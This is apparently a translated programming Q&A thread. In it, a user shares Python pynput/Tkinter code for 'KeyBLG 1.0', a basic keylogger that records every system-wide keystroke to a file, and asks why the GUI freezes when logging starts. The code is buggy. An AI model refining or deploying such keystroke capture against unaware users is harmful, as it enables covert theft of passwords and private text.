Function to enable and disable Listener

Asked

Viewed 170 times

-1

Good afternoon guys, I have the following code that actually works perfectly. However I have an error when I click on "bt1" (boot button) my program crashes. However, it is working on the console. Only the executable locks. Help me find a solution to this ? and it would be possible for me to create a function just to enable or disable the Listener ? Thank you

Edit: Well, I found that if I put Listener.Join() before mainloop(), It works, prints all keys on the console, but Tk window does not open. But if I put the mainloop() before, the jenala opens, but does not print any key..

from pynput.keyboard import Listener
from tkinter import *
from functools import partial 

def press(key):
    keyd = str(key)
    keyd = keyd.replace("'","")
    if (keyd == "Key.space" or keyd== "Key.shift_r" or keyd=="Key.ctrl_l" or 
    keyd=="Key.caps_lock" or keyd == "Key.right" or keyd == "Key.left" 
    or keyd == "Key.right" or keyd == "Key.ctrl_r" or keyd== 'Key.backspace'
    or keyd == 'Key.shift' or keyd == 'Key.tab' or keyd == 'Key.cmd'):
        keyd = ""
    with open('KeyTester.docx', "a") as op:
        op.write(keyd + "\n")
    print(keyd)

def ena():
    with Listener(on_press=press) as l:
        l.join()
def dis():
    with Listener(on_press=press) as l:
        l.stop()

window = Tk()
bt1 = Button(window, text="Iniciar Atividade", command=ena).grid()
bt2 = Button(window, text="Parar Atividade", command=dis).grid()
btRel = Button(window, text="Verificar Relatório").grid()</code>

window.title('KeyBLG 1.0')
window.geometry("300x200+1200+400")
window.mainloop()

1 answer

0

To create the function of enabling and disabling the Switch, you could place the def press inside another function with an if Else and ja that is using Tkinter attach to a button to make an altenador. also could do in the press itself that when a certain combination of keys is pressed it would stop to make certain part of the function but remained active and when the combination is pressed again the function would be fully reactivated.

This video can give you some new ideas for using Istener: https://www.youtube.com/watch?v=n_dfv5DLCGI

  • I did what you said, the error remains the same, when I click start the program hangs, but on the console it prints the keys I press. I figured out why this is happening but I don’t know how to fix it. In my view, it appears when I start Listener with Listener.Join() , window.mainloop() cannot be active. , because if I put Listener.Join() before the window.mainloop() it works, but the Tkinter window does not appear. , and if I put Listener.Join() after mainloop(), the window opens, but Listener does not record anything.

  • in the ena() and dis() functions was in Mbar to be on_press=press?

  • It doesn’t change anything, if I put the Listener.Join() before the mainloop(), it works, it prints all keys on the console, but the Tk window doesn’t open. But if I put the mainloop() before, the jenala opens, but does not print any key..

  • what the intention of the programme is?

  • use . bind from Tkinter ñ server?

Browser other questions tagged

You are not signed in. Login or sign up in order to post.